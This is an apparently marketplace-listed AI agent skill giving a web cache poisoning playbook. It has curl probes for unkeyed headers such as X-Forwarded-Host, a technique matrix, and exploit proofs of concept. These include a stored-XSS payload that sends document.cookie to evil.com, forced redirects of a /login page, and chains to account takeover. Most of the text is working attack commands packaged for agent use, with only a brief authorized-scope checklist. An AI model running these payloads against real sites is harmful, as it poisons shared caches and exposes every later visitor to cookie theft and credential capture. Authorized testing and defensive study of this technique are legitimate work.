# Web Cache Poisoning

> Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

- Skill: `purpleailab/web-cache-poisoning` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/web-cache-poisoning`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/web-cache-poisoning/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/web-cache-poisoning

---


# Web Cache Poisoning Playbook

Distinct from *cache deception* (tricking the cache into storing a victim's
private response). Here, the attacker poisons the **shared** cache so every
subsequent visitor receives an attacker-controlled response. Impact ranges from
defacement → reflected-XSS-as-stored → forced-redirect → DoS.

## 1. Detection — find unkeyed inputs

Definition: an *unkeyed* input is a header/parameter the cache ignores when
building the cache key but the origin reflects into the response.

```bash
URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned
```

## 2. Misconfig / technique matrix

| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `<link rel=canonical>` or absolute URLs | stored open-redirect / XSS |
| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |
| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |
| Routing override | `X-Original-URL: /admin`, `X-Rewrite-URL` | cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | `?utm=x&utm=<payload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |
| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |

## 3. Exploit PoC

### 3.1 Stored-XSS via unkeyed Host
```bash
# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'
```

### 3.2 Forced redirect
```bash
curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)
```

### 3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)
```bash
curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"
```

## 4. Chains
- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.
- **Cache poisoning → ATO**: poison `/login` to send creds to attacker via swapped form action.
- **Cache poisoning → SSRF**: poison API responses an internal job consumes.
- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.

## 5. Tools
- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool
- `cache-poisoning` payload lists (PortSwigger research)
- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary/`X-Cache`

## 6. Detection signatures & OPSEC

| Indicator | Detection method | OPSEC note |
|---|---|---|
| Repeated `X-Forwarded-*` permutations on one URL | WAF rule / access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |
| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |

## Decision Gate: poisoning confirmed → exploitation
- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)
- [ ] At least one unkeyed input reflects into response/redirect
- [ ] A second request without the input still returns the poisoned response
- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)
- [ ] Defender notified before live-cache exploitation (authorized scope)
If all checked, escalate per `finding-protocol`; otherwise downgrade.

